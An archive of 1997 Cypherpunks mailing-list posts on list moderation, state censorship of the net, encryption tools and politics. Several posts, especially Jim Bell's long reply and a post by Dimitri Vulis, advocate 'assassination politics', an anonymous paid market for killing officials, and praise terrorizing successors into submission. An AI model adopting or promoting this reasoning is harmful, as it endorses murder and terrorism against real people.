Message-ID: <199701280332.TAA15446@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


blanc <blancw@cnw.com> writes:

> From:	jim bell (in response to Dimitri Vulis')
>
> Look, I've proposed what I consider to be a remarkably consistent method to
> prevent the kind of political tyranny that you criticize, and I don't see
> any recognition of this fact.
> ........................................................
>
> 1) Jim, why do you insist on discussing this on an forum for encryption?

Assassination politics is certainlyhighly crypto-relevant (being an
important application of anonymity and untraceable payments). It's of
interest to a number of participants in the forum. So, why not?

> 2) Why do you suppose the Iraqis haven't already thought of doing this
> themselves?

Perhaps because they love Saddam, who really is a great guy. Stop listening
to what U.S.gubmint and media tell you and use your brain.  What did
Saddam do to _you?

> 3) The Mafia uses this method all the time - why then haven't they achieved
> a more rational society among themselves?

The Mafia in the U.S. doesn't work. The sicilian Mafia is very successful at
assassinating any public officials that fucks with it.

> 4) Weren't governments (like the U.S.) instituted to prevent this sort of
> thing (even if they don't work out as expected)? i.e., there were systems
> of courts and lawyers and such instituted to openly deal with "criminal"
> activity so that a) people could receive assistance against low-life
> degenerate killers, and b) it could be proven that the accused were indeed
> deserving of punishment.

When I was taking political science at Columbia, one of my most memorable
insights came from reading Aeschil's tragedies. Consider this recurrent
thread: why are people rude on highways, and is shooting them justified?
I claim that if a driver felt that the likelihood of him getting a ticket
for cutting people off was high enough, they wouldn't do it. But of course
the cops are busy chasing the drug dealers :-), so the only remaining
deterrent is the likelihood that someone will shoot you for cutting them
off (which happens occasionally).

> Humans being what they are, this hasn't worked like it's supposed to, but
> the point is that there is a reason why such ideas for systems of justice
> were introduced in the first place.   That reason, as I eloquently read in
> a book, was "So That Reason May Live".  That is, so that people who choose
> to live in a "society" may do so by the method of solving problems through
> the application of intelligence, rather than merely knocking each other off
> because a voting majority decides they don't like someone.

Re-read your Hobbes - but don't believe him. The state did not come about
because the people thought they'd be better off under it. The state came
about as one tribe conquered and enslaved another tribe; and gradually
most members of the winning tribe became slaves too.

> Destructive people often ascend to positions of power not simply because
> they are ruthless, but because they have 1) many sycophantic followers and
> 2) many ignorant, vulnerable people unable to prevent it.  You might be
> able to kill off  one Saddam, but potentially many others would be waiting
> in the wings to take his place.   The situation surrounding the existence
> of someone like Saddam is part of the contributing factors which keeps him
> there, not simply that one man himself.  It was the same with Hitler and
> with so many others  -  they don't just have an excess of  "power"
> concentrated within themselves which puts them in positions of control over
> others  - there will have been many people who will have helped put them
> there, expecting to derive benefits from it.

I don't like your Saddam example, having much admiration for the man, but
again this goes back to the perceived likelihood of future assassination.
If Saddam is killed in an unlikely event, he will be succeeded by someone
who does not fear assassination. If all potential successors are convinced
that the rubout can be repeated, they won't go for the job. Remember, the
purpose of "terrorism" is not just to kill someone, but to "terrorize".

> And what will be done about all those people who made this "power"
> possible?  You don't just kill the one man and be done with it - you have
> to also "kill" the conditions which maintained him.

You rub out enough key people and terrorize their potential successors
into not wanting to take over their jobs, and the system collapses.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Mon, 27 Jan 1997 20:39:04 -0800 (PST)
To: blanc <cypherpunks@toad.com>
Subject: RE: Internet, Countries, Nationalism, etc.
Message-ID: <199701280439.UAA17377@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 7:39 pm -0500 1/26/97, blanc wrote:
>p.s.   I be femme
        ^^^^^^^^^^

Franconics...

Cheers,
Bob Hettinga



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"The cost of anything is the foregone alternative" -- Walter Johnson
The e$ Home Page: http://www.shipwright.com/rah/
FC97: Anguilla, anyone? http://www.ai/fc97/
"If *you* don't go to FC97, *I* don't go to FC97"







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Mon, 27 Jan 1997 19:28:31 -0800 (PST)
To: Lou Poppler <lwp@mail.msen.com>
Subject: Re: Moderated list is missing headers
Message-ID: <199701280328.TAA15369@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Lou Poppler wrote:
> 
> The arguments about imaginary quotes and libel are harder to untangle
> because the moderation process seems to consume the mail headers showing
> the messages' travels before reaching toad.com.  I suggest that these
> headers are signal not noise, and should be propagated if at all possible.
> We have had problems in the past with forgeries, and should retain this
> basic tool for evaluating a message's source.

 The header information, on all of the lists, has been changed in order
to make it more difficult for list members to keep track of what is 
going on behind the Electromagnetic Curtain.
 A simple example is the fact that, originally, a quick glance at the 
header was sufficient to recognize which messages were sorted to the
flames list and were sent out by toad.com from this list. This has
since been changed to make the process of censorship more obtuse.

  Your complaint about it being difficult to 'untangle' certain 
message threads seems to stem from the fact that you have chosen
to receive only a cypher-world-view that has been censored before
you receive it.
  The purpose behind censorship on the list is for the censoring
party to be able to spoon-feed you only what they deem fit for 
you to read. Given the haphazard methods with which the censorship
is being instituted, it is not in the best interest of the censors
to make it easy for the list members to track the course of the
various postings.

Toto







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Date: Mon, 27 Jan 1997 19:25:55 -0800 (PST)
To: cypherpunks@toad.com
Subject: RE: Rejection policy of the Cypherpunks mailing list
Message-ID: <199701280325.TAA15281@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Blanc Weber <blancw@MICROSOFT.com> writes:

> From:	Sandy Sandfort
>
> (By the way, if you don't like moderation, you would hate Eric Hughes'
> favored solution.)
> ...............................................
>
> What was that?

Eric Hughes struck me as being smarter than Gilmore, so I too would like
to know what his "favored solution" was. Didn't I have dinner with him once?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Mon, 27 Jan 1997 19:26:34 -0800 (PST)
To: Sandy Sandfort <sandfort@crl.com>
Subject: Re: Rejection policy of the Cypherpunks mailing list
Message-ID: <199701280326.TAA15334@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Sandy Sandfort wrote:
> Apparently, Toto does not know very much about John or me or our
> relationships with the "Establishment."

  Unfortunately, I know a little 'too much' about you and John and
your relationships with the Establishment.  But as long as I don't
think about it at the dinner table, it doesn't affect my appetite.

> I can't speak for John, but 

  You do so all of the time. It seems, rather, that John cannot 
speak for himself (or is too embarrassed to do so).

> I think both of these groups are intellectually dishonest in the
> extreme when it comes to telling others how this list should be
> run. 

  No, Sandy, it is yourself and John who are 'telling' others how
this list 'will' be run.
  You seem to be projecting your own motivations upon anyone who 
'expresses' any unflattering opinion of the the censorship process
you have instituted.
 
> Of course squating and claim jumping appeal to the lazy a lot
> more than homesteading.

 It must be nice, Sandy, having the power and control over the list
that enables you to fling insults at others and then direct them
to others only at your own whim and discretion.
 I guess that it is every list-dictator's dream to have the power
to send a big FUCK YOU to one portion of the list, and send a
portrait of themself as Mother Teresa to another portion of the
list.

Toto







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Phil Karn <karn@qualcomm.com>
Date: Tue, 28 Jan 1997 13:09:42 -0800 (PST)
To: shamrock@netcom.com
Subject: Re: [DES] DES Key Recovery Project, Progress Report #7
Message-ID: <199701282109.NAA01904@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


>If past cryptographic software is any indication, the DES Cracker
>will be available from an overseas ftp site within hours of release in
>the US.

And lacking that, the author can always print it out on paper and
physically mail it out of the country; this is specifically allowed by
the new Commerce rules as I understand them. And who's to say that the
overseas FTP copies weren't scanned from such a paper copy? :-)

Phil






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Mon, 27 Jan 1997 19:42:48 -0800 (PST)
To: Kevin L Prigge <Kevin.L.Prigge-2@tc.umn.edu>
Subject: Re: Rejection policy of the Cypherpunks mailing list
Message-ID: <199701280342.TAA15696@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Kevin L Prigge wrote:

>. The purpose of this list was
> and should be discussion of cryptography and related issues. 

  Your view seems to be contradictory to that of Sandy. Sandy has
stated that s/he does not censor the list according to crypto-
relevancy.

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ciro Maria <cmaria@stevens-tech.edu>
Date: Mon, 27 Jan 1997 19:11:05 -0800 (PST)
To: SpyKing <spyking@thecodex.com>
Subject: Re: Best Computer School?
Message-ID: <199701280311.TAA14925@toad.com>
MIME-Version: 1.0
Content-Type: text/plain




On Mon, 27 Jan 1997, SpyKing wrote:

> This is a little off topic but maybe someone can help. I've got a teenage
> son (HS sophomore) who's interested in majoring in computer science in
> college with a particular interest in cryptography. He's leaning toward MIT.
> Any suggestions from list members as to colleges to investigate? 
> 
> 
> 

Yeah Stevens Institute in Hoboken. Its pretty good I got there. Also
Caltech is good, I don't really know which else.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Remo Pini <rp@rpini.com>
Date: Mon, 27 Jan 1997 13:40:01 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: 4th ACM Conference on Computer and Communications Security
Message-ID: <199701272140.NAA06263@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Anyone going there?
It's right next doors - at least next to mine :)

Remo Pini






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rick Osborne <osborne@gateway.grumman.com>
Date: Mon, 27 Jan 1997 19:52:35 -0800 (PST)
To: paul@fatmans.demon.co.uk
Subject: Re: OTP security
Message-ID: <199701280352.TAA15979@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Paul replied:
>Depends on how that 16th bit is related to the other bits and whether 
>these predictable bits give any information about the other bits on 
>the disk.

Yes, I had figured that if the bits depended on eachother, then it would
blow the whole system.  

[Yet another case of my fingers lagging behind my brain.]

What I was thinking was more along the lines of something like:

1.You've got 16 hardware devices that each generate random noise.
2.One of the devices fails (or is sabotaged) and emits a predictable stream
(10101...)
3.The other 15 devices are just fine, and the stream generated by one
device does not effect the stream of another.
4.You do not know of the (failure/sabotage) until *after* you've generated
your encyrted documents and they are out of your hands.

So the revamped question is:
How secure are those documents now?
_________ o s b o r n e @ g a t e w a y . g r u m m a n . c o m _________
Good evening... as a duly appointed representative of the city, county and
state of New York, I order you to cease any and all supernatural activity
and return forthwith to your place or origin, or to the nearest convenient
parallel dimension.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Phillip M. Hallam-Baker" <hallam@ai.mit.edu>
Date: Tue, 28 Jan 1997 14:12:09 -0800 (PST)
To: "'cypherpunks@toad.com>
Subject: Re: Fighting the cybercensor. (fwd)
Message-ID: <199701282212.OAA04686@toad.com>
MIME-Version: 1.0
Content-Type: text/plain




Jim Choate <ravage@einstein.ssz.com> wrote in article <5c5891$ah@life.ai.mit.edu>...

> > Singapore and China are blocking certain net groups. I think
> > this is a bad thing, question is how can we stop it?
> 
> 'We' shouldn't, it is their own country and it is up to their populace to
> stop it. Do you really want Singapore or China having a say in how we run
> our web? I certainly don't, and won't support any move to force any
> particular view on them. If Billy-Bob wants to shoot himself in the foot,
> let him. Might be purty funny to watch.

I don't agree with your view of states. The inhabitants of a
geographical area are not mere chattels of the governing power.

The right to rule rests on certain criteria which I believe neither 
country meets. The harassment of opposition politicians in
obviously trumped up charges disqualifies any country from
calling itself a democracy.


> > The Web was conceived as offering despots and dictators a choice 
> > between remaining in the dark ages and allowing freedom of
> > speech. Blocking and filtering schemes threaten this ideal.
> 
> Bull, the web was conceived so physicist and other researchers could share
> data in a easily digestible format. 

That was not all. We had a political Web site established
during the '92 election. I was in contact with Clinton's people
when we had fewer than 100 Web sites.

I am a cyber-revolutionary and the world has bought into
the chaos of our revolution. I never intended the Web to be a tool
for confirming the present social order which is manifestly 
corrupt.


	Phill






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Phillip M. Hallam-Baker" <hallam@ai.mit.edu>
Date: Tue, 28 Jan 1997 14:11:26 -0800 (PST)
To: "'jimbell@pacifier.com>
Subject: Re: Fighting the cybercensor
Message-ID: <199701282211.OAA04598@toad.com>
MIME-Version: 1.0
Content-Type: text/plain




jim bell <jimbell@pacifier.com> wrote in article <5ch9f2$cuu@life.ai.mit.edu>...

> Look, I've proposed what I consider to be a remarkably consistent method to 
> prevent the kind of political tyranny that you criticize, and I don't see 
> any recognition of this fact.  

Thats because its a whacko solution that has no credibility
or consistency. 

If anyone tried to set up such a market and a price went out
on any of the heads of state fantasized about Mr Bell would be 
dead as a doornail in a week.

	Phill






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Phillip M. Hallam-Baker" <hallam@ai.mit.edu>
Date: Mon, 27 Jan 1997 19:55:21 -0800 (PST)
To: cypherpunks <cypherpunks@toad.com>
Subject: Re: Fighting the cybercensor
Message-ID: <199701280355.TAA16061@toad.com>
MIME-Version: 1.0
Content-Type: text/plain




Dale Thorn <dthorn@gte.net> wrote in article
<5ch8v4$co9@life.ai.mit.edu>...
> blanc wrote:
> > From:   Dr.Dimitri Vulis
> > However U.S.G. is able to say that people of Iraq or Lybia or Cuba
should
> > not be permitted on the 'net. It also bombs Iraq and murders their
> > civilians
> > in retaliation for something their governments supposedly did.
> 
> > The U.S.G. has many more resources than most of us to do these things,
> > including equipment, cooperative troops, money, and recognition from
other
> > governments.   If other nations disagree with the U.S.G. they have the
> > resources to discuss, bargain, negotiate, criticize, form alliances,
take
> > their chances and retaliate, etc.
> 
> I wish this were true, at least of nations which would be friendly
> to someone like me (white, Western, etc.).  A bully on a school
> playground can always be knocked down, no matter how big or how
> vicious he is.  Sadly, the U.S. bully cannot be knocked down.  Bad
> enough you get nuclear, chemical, and/or biological stuff waved at
> you - if you get into a hot war like Desert Storm, your country is
> carpet-bombed with fleets of B-52's until it is thoroughly debilitated.

Actually the US is being remarkably ineffective in keeping
Cuba etc off the Net. If you don't believe me just try
the cuban home page.

We had a Web server running in Sarajevo during the siege
back in '93. There is no way that the US govt. can hope to
control the Internet any more than it can control the
phone system. 

What is astonishing is that the Cuban authorities are so
keen to import a technology that breaks down their
propaganda.

The Cold War was not won by the arms race, it was won in
Eastern Europe which was never a major participant. The main
instrument that won it was West German TV which broadcast
pictures of supermarkets with full shelves into the homes
of East Germans every night. The viewers could see that it
was not mere propaganda and their relatives confirmed the 
fact. As a result the East German guards on the Berlin wall
simply decided to leave their posts one night.

The East Germans couldn't stop the TV signals either. When
Dresden started to become a ghost town because people wanted
to move to a town which could recieve the broadcasts the
East Germans ended up installing their own relay to keep
the locals happy.


		Phill






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Phillip M. Hallam-Baker" <hallam@ai.mit.edu>
Date: Tue, 28 Jan 1997 14:11:41 -0800 (PST)
To: "'cypherpunks@toad.com>
Subject: Re: Fighting the cybercensor. (fwd)
Message-ID: <199701282211.OAA04637@toad.com>
MIME-Version: 1.0
Content-Type: text/plain




Asgaard <asgaard@cor.sos.sll.se> wrote in article <5c92bo$lo9@life.ai.mit.edu>...
> On Wed, 22 Jan 1997, Jim Choate wrote:
> 
> >The Web does not equal the Internet, straw man argument.
> 

Actually at CERN we considered the Web to be a superset of the
Internet protocols and others such as DECNET which ran on private
networks such as our HEPNET.

Since most of those private networks are now obsolete I would consider
Web==Internet to be a reasonable equivalence. We always considered
email and news to be part of the Web (news:, mailto:). The narrow view 
that the Web was only HTTP and HTML was a piece of Andressen 
propaganda.
 
		Phill






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Mon, 27 Jan 1997 19:54:34 -0800 (PST)
To: cypherpunks@toad.com
Subject: <<Vitamin B>>(January 27, 1997) Affirmative Anonymity
Message-ID: <199701280354.TAA16021@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



--- begin forwarded text


To: DAILY DOSE <DAILY_DOSE@smtpgw.worldcom.com>
From: VitaminB <VitaminB@maxager.com>
Date: 27 Jan 97 15:44:12
Subject: <<Vitamin B>>(January 27, 1997) Affirmative Anonymity
Mime-Version: 1.0

Vitamin B:
Your Daily Dose of Bionomics

January 27, 1997

Affirmative Anonymity

In response to the January 24th Vitamin B ("Anonymity and Reputation"),
Greg Waddell, Policy Coordinator for U.S. Senator Connie Mack (R-FL)
and 1996 Bionomics Conference Speaker,  made the following comments,
which we'd like to share.

"There are aspects of the anonymity paradigm that relate to a whole host of
social issues that Machine Age liberals usually seek to remedy with strong
and heavy hand of government.  Namely, these are issues of discrimination
by race, gender, disability, etc. etc.  After the Joint Economic Committee's
hearing on the 21st Century Economy, held in summer of 1995, I suddenly
realized (better late than never!) that communicating via computer over the
Internet forces each of us to deal with others without regard to physical
attributes.
Neither color, race, gender, disability, religion, nationality, nor any
"class"
markers are apparent over the Net. The Information Age economy, if left
to evolve freely, could bring us closer to our American ideals of equality
for all than any law, affirmative action program, diversity training, or
anything
else.  I think that is the most compelling aspect of what we identify as the
anonymity of the Net."

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"The cost of anything is the foregone alternative" -- Walter Johnson
The e$ Home Page: http://www.shipwright.com/rah/
FC97: Anguilla, anyone? http://www.ai/fc97/
"If *you* don't go to FC97, *I* don't go to FC97"







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Phillip M. Hallam-Baker" <hallam@ai.mit.edu>
Date: Tue, 28 Jan 1997 14:14:09 -0800 (PST)
To: "Cypherpunks (E-mail)" <cypherpunks@toad.com>
Subject: Re: Fighting the cybercensor. (fwd)
Message-ID: <199701282214.OAA04788@toad.com>
MIME-Version: 1.0
Content-Type: text/plain




Jim Choate <ravage@EINSTEIN.ssz.com> wrote in article <5cg99p$7a@life.ai.mit.edu>...

> The part of it that comes out of their pocketbook does. Just like the part of
> 'the net' that I pay for belongs to me. The net is a bunch of computers,
> running software, hooked together over cables and other links. Each and
> EVERY ONE of these require installation, upkeep, repair, and utility
> support. This costs money. He who pays the money owns the net, everybody
> else is along for the ride.

The network is largely an intellectual creation. The hardware is
relatively unimportant, it can always be replaced.

> If we take your argument to its logical conclusion then once a box goes on
> the net it belongs to nobody/everybody. Clearly utter nonsense.

If you start from such a state and property centered ideology perhaps.
I'm a philosophical anarchist and I don't consider the state to have
"rights" over its "subjects", nor do I believe in the pure ideology of
property you do.

Its worth noting that the origin of property is theft. In the case of the
controllers of China literally so since they stole most of their "property"
from the previous rulers.

I believe that the relationship between a state and individual is
a much more complex one than the slavish subjection model
you propose. In this I am in agreement with practically every
philosopher since Locke.

It is true that there is the convenience of the state as agency but
the question is on whose behalf that agency is exercised. 

I see no reason why I should not meddle in the affairs of states
I'm not a 'subject" of. 

> If you really and truly believe that the net belongs to everyone and nobody
> has a right to limit or otherwise control the hardware and software along
> with the associated comm links they own and pay for then you obviously don't
> understand what is going on.

They are allowed to connect their machinery to the Internet so long 
as they are prepared to accept the Internet's ethic. They are not allowed
to have a free ride, to demand a valuable connection facility on their
own terms.

> ps I also support France's current attempt at forcing the Georgia university
>    web site on French soil to use French.

As a citizen of Europe I disagree. I believe that the narrow and
parochial attitude of the French province breaches undertakings in the
Treaty of Rome and under the European declaration of human rights.

France is not a sovereign state and does not have the right to
pass laws that infringe on the rights granted to European citizens
as a whole.

	Phill






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Daniel Harter <dharter@harter.pg.md.us>
Date: Mon, 27 Jan 1997 19:52:37 -0800 (PST)
To: Dale Thorn <dthorn@gte.net>
Subject: Re: Rejection policy of the Cypherpunks mailing list (fwd)
Message-ID: <199701280352.TAA15983@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


On Sun, 26 Jan 1997, Dale Thorn wrote:

> Actually, it is a certifiable fact that the list subscribers can
> jump to the unmoderated list whenever they want to.  It is also a
> certifiable fact that they (97% or so) have *not* done so.

Has anyone compiled a summary of the difference of volume of posts to
the lists?  I'd be interested to find out.

> Because of these facts, I must conclude that either:
> 
> 1. The subscribers have spoken by staying put, or,
> 2. The subscribers are so lazy and unaware of what's going on that
>    they've just left things as is.
>
> Now, in my opinion, we've come to this:  Some people here will hold
> the optimistic view of the bulk of the subscribers, and others will
> hold the pessimistic view (the bulk will presumably be in-between).

I just started subscribing to the list near the time it started, so I
have not noticed a difference.  If the unmoderated list is not much
more (~10%) I think I'd prefer the unmoderated list.

Regards,

Dan Harter
dharter@harter.pg.md.us







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Olsen <alan@ctrl-alt-del.com>
Date: Mon, 27 Jan 1997 23:10:39 -0800 (PST)
To: Rob <wlkngowl@unix.asb.com>
Subject: Re: PGPmail for Windows, Version 4.5
Message-ID: <199701280710.XAA22100@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 07:39 PM 1/27/97 GMT, Rob wrote:

>I'm surprised the didn't mention Pegasus Mail, which is an amazing "hot"
>mailer, with a sort-of built-in crypto plug-in capability... it's also free.

I would like to see PGPMail support Pegusus Mail for the reason that I have
used the crypto plug-in for Pegusus and found it inadiquate for general
usage.

Pegusus's current crypto hooks do not deal well with remailers and multiple
keys.  PGPMail does not deal with remailers as well as I would like, but it
is far easier to use than the Pegusus solution.



-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQEVAwUBMu2e++QCP3v30CeZAQG33wf9GL2yZodjFYsSPTsfO+zgmi+UtzGWKCJe
OBcdIRxw+eRIS+wzVE39QYiWNsNHx9hijRtyXnVkdPNUWOoAZMTtJ5ndbFl+TtCQ
PNicvtitryrPc4VrD+VOr/uZ98Yyf1YEQXxs8+CAocJ4uujerC2bsSaG2xtqtBKZ
8fS64D0P9MklNuGWS4/RYsJsnNtdJP7I7L7G+WFd8L1PAzvlrgq3ClJ+zuBBGrQf
A/tz9YTIck0anRBifOKCUlRAtpTe0tElCvJKv7QPxLgHAJxM+rg1GHj35SY6QlKs
b3cUpjxWolL5c4WvZcyOYRf9CPp2Gr5D2XMgIrydmgQYQStP/8Orhw==
=79pa
-----END PGP SIGNATURE-----

---
|   If you're not part of the solution, You're part of the precipitate.  |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano@teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan@ctrl-alt-del.com|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Mon, 27 Jan 1997 23:10:54 -0800 (PST)
To: blanc <cypherpunks@toad.com
Subject: RE: Fighting the cybercensor
Message-ID: <199701280710.XAA22120@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 10:21 PM 1/26/97 -0800, blanc wrote:
>From:	jim bell (in response to Dimitri Vulis')
>Look, I've proposed what I consider to be a remarkably consistent method to 
>prevent the kind of political tyranny that you criticize, and I don't see
>any recognition of this fact.
>........................................................
>
>1) Jim, why do you insist on discussing this on an forum for encryption?

Because it's on-topic, that's why.  Because it's not merely a list 
concerning METHODS of encryption, it's also about the _reasons_ for using 
encryption, as well as the _effects_ (both small-scale and large-scale) of 
using encryption.  

If we were satisfied to protect ourselves from, say, 99.999% of the ordinary 
population of this country who might want to read our messages, we'd all be 
satisfied with DES and we'd be happy with GAK.  But the fact is, most of us 
recognize that the REAL reason for good encryption is to keep our messages 
away from a tyrannical government with far more assets than individuals or 
small organizations.


>2) Why do you suppose the Iraqis haven't already thought of doing this 
>themselves?

You need to be a little more specific about who you are referring to when 
you say "the Iraquis."  Presumably, you aren't referring to the "Iraqui on 
the street"?  Perhaps you're talking about the politicians and government 
officials there, right?

Well, if that's the case then the answer should be obvious.  AP is, 
fundamentally, a system that will take down all governments everywhere after 
it starts up anywhere.  The leadership of Iraq may be the leaders of a 
third-rate, third-world country, but as comedian Mel Brooks said in the 
movie, "History of the World, Part I," "It's good to be the king!"   And it is.

These official-types have far more in common with the leadership of the 
other countries than they do with their own citizens.  If anything, they're 
probably actually even MORE rewarded by their position than the leadership 
of westernized countries.  After all, Clinton makes about $250K per year and 
it's pretty risky for him to receive direct bribes.  Kick him out and he 
only loses a cushy job with lots of prestige.   Saddam Hussein and his 
family, on the other hand, probably was able to rake in hundreds of millions 
of dollars a year in baksheesh.  What makes you think that the leadership of 
Iraq would want to craft a weapon (AP) which is guaranteed to drop them to 
the level of their citizenry, or maybe even get themselves killed?  

As for why the ordinary Iraquis didn't think of it...  Or the ordinary 
people of any or every country, as well.  Why didn't THEY think of it?  
Maybe this is just another case of "not invented here" syndrome:  You're 
pissed off that you didn't think of it, and I did.  Sorry, can't help that. 

 

>3) The Mafia uses this method all the time - why then haven't they achieved 
>a more rational society among themselves?

That's just it!  The Mafia DOESN'T use AP or anything like it.  (Admittedly 
I can't really claim personal knowledge of the operation of the Mafia, you 
understand...!)  In fact, apparently, they function diametrically opposed to 
the AP system.  A complete AP-like system is structured (via encryption, 
etc) to totally avoid anybody having to trust anyone else. Each participant 
is kept honest mathematically.  Nobody can inform on anyone else, because 
nobody knows anyone else's identity. 

In fact, a fully-implemented AP-type system not merely hides the identities 
of the participants from each other, but it also hides the existence of 
crimes committed by any of the other participants (if any) from each other.  
A donor to the AP system, for instance, can't know for sure that his 
donation money was paid to a person who killed a target.  At most, he knows 
that the money was paid to somebody who, he's satisfied, had enough 
confidence that the death would occur on a particular date in the 
future to, in effect, bet money on the outcome.

And AP allows anyone to participate in the system, regardless of whether 
he's trusted by the others.

On the contrary, the Mafia, or at least what I've managed to pick up from 
decades of melodramatic movies and newspaper and magazine articles, depends 
intimately on people trusting each other.  That's why it's so devastating to 
them when one of their own (Joseph Valachi, for instance) turns on them and 
rats.  To be sure, that trust is backed up by threat of death for turncoats, 
which is why such defections are rare, but they do indeed occur.

Also, AP (quite unlike the Mafia) encourages literally anyone to do jobs for 
it.  The Mafia, quite the contrary, must trust people, so I assume they 
won't farm out their work to just anyone.


(I should point out that your clear misinterpretation of AP, claiming that 
it is the way the Mafia does things, is just another example of such 
confusion among critics of AP.  I attribute this to such a burning desire to 
discredit AP that you'll use practically any argument, however specious, to 
"prove" it to be incorrect or unworkable.  You're not alone.)


>4) Weren't governments (like the U.S.) instituted to prevent this sort of 
>thing (even if they don't work out as expected)? i.e., there were systems 
>of courts and lawyers and such instituted to openly deal with "criminal" 
>activity so that a) people could receive assistance against low-life 
>degenerate killers, and b) it could be proven that the accused were indeed 
>deserving of punishment.

Remember "power corrupts and absolute power corrupts absolutely"?  The 
problem with all existing political systems (and particularly those fallen 
ones from the past) is that they put power in the hands of people who 
subsequently abuse it, destroying the checks and balances that were put in 
place.  


>Humans being what they are, this hasn't worked like it's supposed to, but 
>the point is that there is a reason why such ideas for systems of justice 
>were introduced in the first place.   That reason, as I eloquently read in 
>a book, was "So That Reason May Live".  That is, so that people who choose 
>to live in a "society" may do so by the method of solving problems through 
>the application of intelligence, rather than merely knocking each other off 
>because a voting majority decides they don't like someone.

You misunderstand AP, yet again.  AP doesn't really take votes, it merely 
totals donations.  It is an essential element of the AP system that even a 
tiny minority should be able to kill individuals who are seen as threats, as 
long as this capability is universal.  True, the smaller the minority the 
more uneconomical such an action would be for them, but it would be well 
within the ability of 1% of the population to avoid a another Holocaust by 
getting rid of those pushing for it.

In the current political system, in the US for instance, 51% of the 
population is able to screw the remaining 49%, just as long as they can 
maintain the majority.  Or, perhaps even more accurately and ominously, a 
tiny fraction of the population (the current leadership class) is able to 
screw the 49%, as long as they have the un-thinking backing of the remaining 
and relatively uninvolved 51%.

AP disables this system.  AP turns government into the moral equivalent of a 
pick-up football game:  Nobody is being forced to play, and everybody and 
anybody can simply "get up and leave" whenever he wants to.  The moment the 
"rules of the game" to make an individual's continued participation 
unsatisfying, he can leave.

>Destructive people often ascend to positions of power not simply because 
>they are ruthless, but because they have 1) many sycophantic followers and 
>2) many ignorant, vulnerable people unable to prevent it.  You might be 
>able to kill off  one Saddam, but potentially many others would be waiting 
>in the wings to take his place. 

I don't think so.  Let's suppose you could purchase the death of Saddam for 
$5 million.  The next guy gets killed for another $5 million, and then the 
next, etc.  Who would want to be the next leader?  While $5 million dollars 
is certainly not pocket change for an individual, it is well within the 
capacity of the entire world to fund without any difficulty.   Anybody 
considering taking over Saddam's job, aware of such an easy system to kill 
him, would have no motivation to piss off the world.  Sooner or later, 
Saddam's place would have to be taken by a person who makes it absolutely 
clear to the rest of the world that he's no Saddam.  In fact, he'll point 
out that he would be foolish to take the job if he had ulterior motives.  
Unless you believe that it's physically impossible for Iraq to have an 
honest government (at which point you're displaying what I believe was 
called jingoism?) you'll acknowledge that their system would be fixed rapidly.

That's why AP will be so economical:  The absolute certainty that enough 
money could be raised to get rid of anyone who poses a threat will make it 
simply unnecessary to do so, the vast majority of the time.  It's called 
"deterrence," and is one of the reasons that 99.99% of the population 
doesn't rob banks, commit mass murder, or do any other anti-social things.  
Dictatorships will be impossible under AP because dictators simply won't be 
able to survive.  By being ready at all times to pay to have a dictator 
killed, society will never have any dictators.  Strange but true.


>The situation surrounding the existence 
>of someone like Saddam is part of the contributing factors which keeps him 
>there, not simply that one man himself.

Saddam is still in power because as long as the collective leadership of the 
countries of the world fear to set an example that will cost them their jobs 
and possibly their lives, they will gladly choose the $60 BILLION dollar 
"solution" to the Iraq problem, as opposed to my solution, AP, which would 
